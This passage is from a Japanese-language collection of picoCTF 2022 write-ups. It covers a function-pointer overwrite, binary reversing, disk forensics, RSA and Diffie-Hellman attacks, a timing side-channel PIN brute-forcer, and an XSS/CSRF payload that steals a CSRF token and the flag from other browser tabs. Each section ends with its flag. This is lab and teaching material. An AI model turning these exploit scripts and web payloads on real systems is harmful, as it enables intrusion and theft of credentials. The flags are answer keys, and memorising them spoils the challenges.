exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
ソースを読むと、まずvlun関数を呼び、char型128文字のstoryを入力、続いて、int型の配列funの任意の位置に任意のデータを加算、checkを呼ぶ。checkはhard_checker関数に飛んでおり、ここではstoryの128個のデータを足して13371337であればflagを表示する。しかしchar型は-127~127までしか入らないので、128個足しても13371337にはなってくれない。
そこでint型の配列の任意の位置に値を代入できるfun[num1] += num2;
の部分に注目する。int型の配列は10個分用意されているが、範囲外の数字を指定すれば任意のメモリ位置を変更できる。これを用いてcheckの値をeasy_checker関数のアドレスに書き換えることにする。easy_checker関数ではstoryの合計が1337であればいいので、簡単に作ることができる。
vlun実行ファイルをGhidraに食わせてアドレスを確認した。
check変数は0x804c040に入っており、hard_checker関数のアドレス0x8049436が入っている。これをeasy_checker関数のアドレス0x80492fcに書き換えるには-314を足せばよい。fun配列の位置は0x804c080なので、-0x40byte分、つまりint型で16個遡ればいい。
ASCII値を足して1337になる128文字未満のchar型データは例えばddddddddddddd%がある。よって入力すべき値は、ddddddddddddd%、-16、-314となる。
nc接続でこれらを入力してflag入手。
picoCTF{0v3rwrit1ng_P01nt3rs_529bfb38}
Can you get the flag?
Reverse engineer this binary.
Linux用実行ファイルのみが配布される。Ghidraで逆コンパイルすると、FUN_00101209に中核となる処理が見つかる。
undefined8 FUN_00101209(char *param_1)
{
size_t n;
undefined8 uVar1;
long in_FS_OFFSET;
int local_d0;
int local_cc;
int local_c8;
int local_c4;
int local_c0;
undefined2 local_ba;
byte local_b8 [16];
byte local_a8 [16];
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined4 local_80;
char local_78 [13];
undefined local_6b;
undefined local_6a;
undefined local_66;
undefined local_60;
undefined local_5e;
undefined local_5b;
char local_58 [32];
char acStack56 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_98 = 0x7b4654436f636970;
local_90 = 0x30795f676e317262;
local_88 = 0x6b5f6e77305f7275;
local_80 = 0x5f7933;
local_ba = 0x7d;
n = strlen((char *)&local_98);
MD5((uchar *)&local_98,n,local_b8);
n = strlen((char *)&local_ba);
MD5((uchar *)&local_ba,n,local_a8);
local_d0 = 0;
local_cc = 0;
while (local_cc < 0x10) {
sprintf(local_78 + local_d0,"%02x",(ulong)local_b8[local_cc]);
local_cc = local_cc + 1;
local_d0 = local_d0 + 2;
}
local_d0 = 0;
local_c8 = 0;
while (local_c8 < 0x10) {
sprintf(local_58 + local_d0,"%02x",(ulong)local_a8[local_c8]);
local_c8 = local_c8 + 1;
local_d0 = local_d0 + 2;
}
local_c4 = 0;
while (local_c4 < 0x1b) {
acStack56[local_c4] = *(char *)((long)&local_98 + (long)local_c4);
local_c4 = local_c4 + 1;
}
acStack56[27] = local_6b;
acStack56[28] = local_66;
acStack56[29] = local_5b;
acStack56[30] = local_78[1];
acStack56[31] = local_6a;
acStack56[32] = local_60;
acStack56[33] = local_5e;
acStack56[34] = local_5b;
acStack56[35] = (undefined)local_ba;
n = strlen(param_1);
if (n == 0x24) {
local_c0 = 0;
while (local_c0 < 0x24) {
if (param_1[local_c0] != acStack56[local_c0]) {
uVar1 = 0;
goto LAB_00101475;
}
local_c0 = local_c0 + 1;
}
uVar1 = 1;
}
else {
uVar1 = 0;
}
LAB_00101475:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar1;
}
バイトデータを見ていくと次の部分にpicoCTFっぽいデータが見える。
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_98 = 0x7b4654436f636970;
local_90 = 0x30795f676e317262;
local_88 = 0x6b5f6e77305f7275;
local_80 = 0x5f7933;
local_ba = 0x7d;
これを復号してみる。
flagenc = [0x7b4654436f636970,0x30795f676e317262,0x6b5f6e77305f7275,0x5f7933,0x7d]
flagdec = ""
for m in flagenc:flagdec += (m.to_bytes(8, "little")).decode()
print(flagdec)
実行するとpicoCTF{br1ng_y0ur_0wn_k3y_}
が得られるが、不完全だ。
gdb-pedaで実行ファイルを起動してこの関数を進めていくと、次の箇所でflagっぽい文字列がRAXに出現していることがわかった。
acStack56[27] = local_6b;
acStack56[28] = local_66;
acStack56[29] = local_5b;
acStack56[30] = local_78[1];
acStack56[31] = local_6a;
acStack56[32] = local_60;
acStack56[33] = local_5e;
acStack56[34] = local_5b;
acStack56[35] = (undefined)local_ba;
出力されていた文字は19836cd8}
。これが欠けた部分であったようで、次のflagで正解した。
picoCTF{br1ng_y0ur_0wn_k3y_19836cd8}
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
Download compressed disk image
Linuxのディスクイメージが配布される。FTK imagerで開いて目ぼしいファイルを探してみる。rootディレクトリ直下にflag.txt.encを見つけた。中身を見る。
Slat__から始まっているのでopensslコマンドで作られたもののようだ。ディスク全体からopensslで検索をかけてみると、コマンド履歴がヒットした。
touch flag.txt
nano flag.txt
apk get nano
apk --help
apk add nano
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
パスワードも残っているので次のコマンドで復号。
openssl aes256 -d -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
picoCTF{h4un71ng_p457_0a710765}
I wrote this linear recurrence function, can you figure out how to make it run fast enough and get the flag?
Download the code here sequences.py
Note that even an efficient solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your approach.
flagを計算するPythonソースコードが配布されるが、計算量が大きすぎて動作しないので最適化する必要がある。
import math
import hashlib
import sys
from tqdm import tqdm
import functools
ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
# Decrypt the flag
def decrypt_flag(sol):
sol = sol % (10**10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)
key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
if __name__ == "__main__":
sol = m_func(ITERS)
decrypt_flag(sol)
m_func関数では5項間の線形漸化式を計算しているが、求める項が20000000というとてつもない大きさであるため、そのままでは計算不能である。漸化式の解を数学的に計算してコストを圧縮するしかない。
漸化式は次の行列表現にすることができる。
各行列とベクトルを次のように定義しておく。
するとn番目は行列のn乗を使って書ける。
このまま行列のn乗を計算することは困難だが、行列Sを導入して対角化された行列Jを作ることができる。
Aのn乗を次のように計算することができる。
試しにこの計算をPythonのmpmathを使って計算しようとしたが、目標とする数は2644万4384桁もあり、計算不能だった。失敗ソースは以下の通り。
import math
import hashlib
import sys
import numpy as np
import mpmath
mpmath.mp.dps = 10000
ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
def dig_func(n):
A = mpmath.matrix([[21,301,-9549,55692],[1,0,0,0],[0,1,0,0],[0,0,1,0]])
eig,P = mpmath.mp.eig(A)
Pinv = P**-1
Bn = mpmath.matrix([[pow(eig[0].real,n),0,0,0],[0,pow(eig[1].real,n),0,0],[0,0,pow(eig[2].real,n),0],[0,0,0,pow(eig[3].real,n)]])
An = P * Bn * Pinv
A0 = mpmath.matrix([4,3,2,1])
return ((An * A0)[3]).real
# Decrypt the flag
def decrypt_flag(sol):
sol = int(sol % (10**10000))
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)
key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
#if __name__ == "__main__":
# sol = dig_func(ITERS)
# decrypt_flag(sol)
print(dig_func(ITERS))
こうなったら漸化式の解を直接書き下して、int型で計算せざるを得ない。Aの対角化に必要な行列はWolframAlphaを使って簡単に計算できる。mpmathなどを使うと分数ではなく小数が出てくるのでint型で計算を完結させられない。
https://ja.wolframalpha.com/input?i=%E8%A1%8C%E5%88%97%E5%AF%BE%E8%A7%92%E5%8C%96%E8%A8%88%E7%AE%97%E6%A9%9F&assumption=%7B%22F%22%2C+%22MatrixOperations%22%2C+%22theMatrix%22%7D+-%3E%22%7B%7B21%2C+301%2C+-9549%2C+55692%7D%2C+%7B1%2C+0%2C+0%2C+0%7D%2C+%7B0%2C+1%2C+0%2C+0%7D%2C+%7B0%2C+0%2C+1%2C+0%7D%7D%22
これらの行列を使うと求めたい解は以下のようになる。
計算するベクトルは一番下のみでよい。これを計算するdig_funcEX関数を書いた。VERIF_KEYの計算に下1万桁を使うため、除算の前に10**50を乗算して小数点以下50桁分の精度を確保している。
import math
import hashlib
import sys
ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5885e6c7ed9a3c62b")
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
def dig_funcEX(n):
accuracy = 10**50
J = [pow(21,n),pow(12,n),pow(13,n),pow(17,n)]
ANS = 0
S_inv_upper = [[1,7,581,13],[1,3,409,1547],[1,1,405,63],[1,1,369,819]]
S_inv_downer = [[42636,7106,42636,209],[165,55,165,55],[136,17,136,2],[760,190,760,190]]
S_inv_pm = [[-1,1,-1,1],[1,-1,-1,1],[-1,1,1,-1],[1,-1,-1,1]]
A0 = [4,3,2,1]
for i in range(4):
ANSt = 0
for j in range(4):
ANSt += S_inv_pm[j][i]*(accuracy*J[j]*S_inv_upper[j][i]//S_inv_downer[j][i])
ANSt *= A0[i]
ANS += ANSt
return ANS//accuracy
# Decrypt the flag
def decrypt_flag(sol):
sol = int(sol % (10**10000))
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()
if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)
key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()
print(flag)
if __name__ == "__main__":
sol = dig_funcEX(ITERS)
decrypt_flag(sol)
これを実行すると何十秒かで計算が完了してflagが得られる。計算時間の大部分は対角行列のn乗の計算に費やされている。
picoCTF{b1g_numb3rs_afc4ce7f}
There's something fishy about this PIN-code checker, can you figure out the PIN and get the flag?
Download the PIN checker program here pin_checker
Once you've figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 55824 and provide it the PIN to get your flag.
Linux用実行ファイルpin_checkerが配布され、ここから正しいPINを取得して nc saturn.picoctf.net 55824 に取得したPINを入力すればflagを入手できるようだ。
ヒントにtiming-based side-channel attacks.
とあり、これはプログラムの処理時間が誤った値か正しい値かによって異なることを利用するものだ。例えば、8桁の数字を左から順にチェックしていく場合、1桁目をパスしたときだけ2桁目のチェックに進むため、計算時間が長くなる。これを利用してPINをチェックする処理の時間差を見て1文字ずつブルートフォースできそうだ。
実際に試してみるとpin_checkerは1桁あたり0.1sec程の時間を消費するようで、左からブルートフォースが可能。左から1桁ずつ入力して最も処理時間の長いものを選択して全桁を明らかにするPythonコードを書いた。
from pwn import *
import time
pin = ""
for i in range(8):
tlist = []
for j in range(10):
io = process('pin_checker')
io.recvuntil("Please enter your 8-digit PIN code:")
payload = (pin+str(j)+"0"*(7-i)).encode()
start = time.time()
io.sendline(payload)
io.recvline()
io.recvline()
io.recvline()
msg = io.recvline()
tlist.append(time.time() - start)
io.close()
if i==7:print(msg)
_max = max(tlist)
_min = min(tlist)
pin += str(tlist.index(_max))
print(str(tlist.index(_max))+":"+str(_max))
print(str(tlist.index(_min))+":"+str(_min))
print(pin)
実行させるとPINは48390513であることがわかる。サーバーに接続してPINを入力するとflag取得。
picoCTF{t1m1ng_4tt4ck_9803bd25}
We have so much faith in RSA we give you not just the product of the primes, but their sum as well!
gen.py
output.txt
RSA問題。公開鍵n、暗号文cに加えて、秘密鍵pとqを足したxを教えてくれる。
復号鍵d = inverse(e, (p-1)*(q-1))で計算することを知っていれば、p+qがあればdを作成できることは自明。(p-1)*(q-1) = p*q -(p+q) +1なので、d = inverse(e, n-x+1)と書ける。
from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes
x = 0x17fef88f46a58da13be8083b814caf6cd8d494dd6c21ad7bf399e521e14466d51a74f51ad5499731018b6a437576e72bd397c4bb07bfbb699c1a35f1f4fa1b86dee2a1702670e9cea45aa7062f9569279d6d4b964f3df2ff8e38cf029faad57e42b831bde21132303e127cba4e80cd3c9ff6a7bad5b399a18252dc35460471ea8
n = 0x85393637a04ec36e699796ac16979c51ecea41cfd8353c2a241193d1d40d02701b34e9cd4deaf2b13b6717757f178ff75249f3d675448ec928aef41c39e4be1c8ba2ba79c4ada36c607763d7dc8543103acfe1027245acda2208f22fcabe0f37bdadf077e4f943c4f4178cedeb5279a4ebc86323356e23a58b6666ac6ffbf4f1c8229117ffb9071a94dfb724957f10d6664e4ee02e16bed29eb922f126e2082e2f73b5c5b7817e0543155eb9673f4de3de8c91707c1261e8ba6e7348d930293f7796679218c2b1dabe41527eccd72ec3e7284344622eff81ae0541769fb70b6146b54bd092c2dfbe7f8e9653cad80d0fb4f3ef288778927b3852f9ff3a4076d7
c = 0x42cafbc77ed8396a681dac328701ee02cd746488ae084f15a3e6a5b8f666c595a372a69bbca0dae934fd5ed2292d4393912ee10a22a3b57de9cee2f30b5dc7c67f574b0453f6074171cca37bd407529cb30ba17f152ef5b2484d94b38cf0a513a723255d725e5c3b3f3c985f9223095be3fa148afedf91e4ed37720c3d97dd29cf07830efa8a557a9da68d3095fc3b31f3763e030b62c70d94c3d2951e163e48683f3b9611d562ea06bf1e5d8465e8bf5a6345050a5e7b0c175faf136562cf2a196fdb61ac6503446616cffa9ed85015b86dda73f6eda4d688d3e719a07439d98f95fb5dcf675948ec58d9af83fa29afa4375213ec48f09a6c8cbc431cfe7c6a
e = 65537
#(p-1)*(q-1) = p*q -(p+q) +1
d = inverse(e, n-x+1)
m = pow(c, d, n)
print(long_to_bytes(m))
picoCTF{3921def5}
I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?
Note that the headless browser used for the "report" feature does not have access to the internet.
Create an account at this website.
Source code: noted.tar.gz
コンペ中に解けなかった問題。
Writeup( https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted )を見つけたので読んでみると、Chromeにはdata:text/html
でURLから任意のHTMLを記述できる機能があった。ただし、このWriteupでは実はpuppeteer botはインターネットにアクセスできた(!?)ということから外部のURLに対してflagを漏らす方法を用いており、ここではこのwriteupを参考にしてローカルで完結するようにしたい。
作戦は次のとおりとなる。
他のタブのHTMLを参照するためには同一ドメインである必要があるため、data:text/htmlからはflagやcsrfトークンを盗むことができない。そのため、作成したアカウントに投稿したスクリプトを利用している。
自分の作成したアカウントに追加する投稿は次のものになる。これは?goクエリをつけて表示されると、csrfタブからフォーム内の_csrfの値を、flagタブからbodyテキスト全体を取得してフォームに記述し、新規投稿として/newにPOSTする。
<form action="/new" method=POST id=mynote><input type="input" name="_csrf" value=""><input type="text" name="title" value="a"><input type="text" name="content" value="a"></form>
<script>
if(window.location.search.includes("go")){
setTimeout(`document.getElementById("mynote")._csrf.value=window.open('', 'csrf').document.forms[0]._csrf.value`, 3000);
setTimeout(`document.getElementById("mynote").content.value=window.open('', 'flag').document.body.textContent`, 3000);
setTimeout(`mynote.submit()`, 4000);
}
</script>
reportに送信するURLは次のものになる。dataURLスキームを使って、フォームとJavaScriptを記述し、まず予めログイン済みの/notesをflagタブで開いてflagを表示状態にして、続いて作成したアカウントにログインさせ、/newでcsrfトークンを表示させ、/note?goで作成したアカウントに投稿した上記のスクリプトを動作させる。
data:text/html,
<form action="http://0.0.0.0:8080/login" method=POST id=login target=_blank>
<input type="text" name="username" value="test">
<input type="text" name="password" value="pass">
</form>
<script>
window.open('http://0.0.0.0:8080/notes', 'flag');
setTimeout(`login.submit()`, 1000);
setTimeout(`window.open('http://0.0.0.0:8080/new', 'csrf')`,1500);
setTimeout(`window.open('http://0.0.0.0:8080/notes?go')`,2000);
</script>
これで外部インターネットに接続することなくflagを取得できる。
picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}
※このflagはpicoGym移行後のもの
I heard someone has been sneakily installing backdoors in open-source implementations of Diffie-Hellman... I wonder who it could be... ;)
gen.py
output.txt
Diffie-Hellmanの出力が与えられる。pow(3,FLAG,n)の計算結果が与えられ、nの生成方法はVery Smoothと一緒になっている。
ヒントにLook for Mr. Wong's whitepaper... His work has helped so many cats!
とあるので、論文を調べるとHow to Backdoor Diffie-Hellman ( https://eprint.iacr.org/2016/644.pdf )が引っかかる。
これはDiffie-Hellmanに使用する素数pについて、p-1が小さな因数をたくさん持つ時にメッセージを復号化できるPohlig-Hellmanアルゴリズムを使うものである。素数の生成方法はVery Smoothと同様なため、まずnをPollard p-1アルゴリズムでpとqに分解し、Pohlig-Hellmanアルゴリズムでメッセージを解読する。
Pohlig-Hellmanの実装を探すと、離散対数問題に対する攻撃手法 (Python & SageMath) | 晴耕雨読( https://tex2e.github.io/blog/crypto/DLP )にSageMathの実装例があったので、こちらを使わせていただくことにする。Pohlig-Hellmanについて日本語でまとめられているのでわかりやすい。
第一段階としてPollard p-1アルゴリズムを使用してpとqを求める。
from primefac import pollard_pm1
n = 0xd63c7cb032ae4d3a43ecec4999cfa8f8b49aa9c14374e60f3beeb437233e44f988a73101f9b20ffb56454350b1c9032c136142220ded059876ccfde992551db46c27f122cacdd38c86acb844032f8600515aa6ccb7a1d1ac62d04b51b752476d2d6ee9f22d0f933bebdd833a71fd30510479fcc7ba0afb1d4b0a1622cdc2a48341010dffdcfc8d9af45959fb30b692dc2c9e181ac6bcd6a701326e3707fb19b7f9dfe1c522c68f9b0d229d384be1e1c58f72f8df60ca5172a341a7ee81428a064beedd6af7b89cc6079f2b6d3717f0d29330f0a70acca05bf67ab60c2e5cb0b86bfca2c9b8d50d79d24371432a1efb243f3c5f15b377ccc51f6e69bfbf5ecc61
p = pollard_pm1(n,1,2)
q = n//p
print(p)
print(q)
実行するとnが因数分解できる。
p=165904771154636133744258537155010957898841320976199637310247946276091086685264203988382040434355973963755682908150999129715814054881305005279715109357952947956732031939179558028421896612221813299929875548130332311862653487519381871784418328675201518221252865046296276946334529508065441554563296058286139050519
q=163014145749020966527362866473385169718851721616099580892964038460874458300229566597051127131837727765676578472743831728487190199884657664763105462749319055787715119759660870245251139666933894434217213010123667901776317139730147215838019956603683024166830240694839515087101545941555671169130305164821949513799
得られたp,qをp1,p2と置いて、上記サイトのSageMathの実装を2素数に改造したものを作成した。
from Crypto.Util.number import long_to_bytes
# Baby-step Giant-step
def babystep_giantstep(g, y, p, q=None):
if q is None:
q = p - 1
m = int(q**0.5 + 0.5)
#Baby step
table = {}
gr = 1 # g^r
for r in range(m):
table[gr] = r
gr = (gr * g) % p
#Giant step
try:
gm = pow(g, -m, p)
except:
return None
ygqm = y
for q in range(m):
if ygqm in table:
return q * m + table[ygqm]
ygqm = (ygqm * gm) % p
return None
#Pohlig hellman
def pohlig_hellman_DLP(g, y, p1,p2):
crt_moduli = []
crt_remain = []
for q, _ in factor(p1-1):
x = babystep_giantstep(pow(g,(p1-1)//q,p1), pow(y,(p1-1)//q,p1), p1, q)
if (x is None) or (x <= 1):
continue
crt_moduli.append(q)
crt_remain.append(x)
for q, _ in factor(p2-1):
x = babystep_giantstep(pow(g,(p2-1)//q,p2), pow(y,(p2-1)//q,p2), p2, q)
if (x is None) or (x <= 1):
continue
crt_moduli.append(q)
crt_remain.append(x)
x = crt(crt_remain, crt_moduli)
return x
g = 3
y = 0x51099773fd2aafd5f84dfe649acbb3558797f58bdc643ac6ee6f0a6fa30031767966316201c36be69241d9d05d0bd181ced13809f57b0c0594f6b29ac74bc7906dae70a2808799feddc71cf5b28401100e5e7e0324b9d8b56e540c725fa4ef87b9e8d0f901630da5f7f181f6d5b4cdc00d5f5c3457674abcb0d0c173f381b92bdfb143c595f024b98b9900410d502c87dfc1633796d640cb5f780fa4b6f0414fb51e34700d9096caf07b36f4dcd3bb5a2d126f60d3a802959d6fadf18f4970756f3099e14fa6386513fb8e6cdda80fdc1c32a10f6cdb197857caf1d7abf3812e3d9dcda106fa87bac382d3e6fc216c55da02a0c45a482550acb2f58bea2cfa03
p1 = 165904771154636133744258537155010957898841320976199637310247946276091086685264203988382040434355973963755682908150999129715814054881305005279715109357952947956732031939179558028421896612221813299929875548130332311862653487519381871784418328675201518221252865046296276946334529508065441554563296058286139050519
p2 = 163014145749020966527362866473385169718851721616099580892964038460874458300229566597051127131837727765676578472743831728487190199884657664763105462749319055787715119759660870245251139666933894434217213010123667901776317139730147215838019956603683024166830240694839515087101545941555671169130305164821949513799
x = pohlig_hellman_DLP(g, y, p1,p2)
print(long_to_bytes(x))
print(pow(g, x, p1*p2) == y)
実行するとflagが逆算できる。
picoCTF{1ca93858}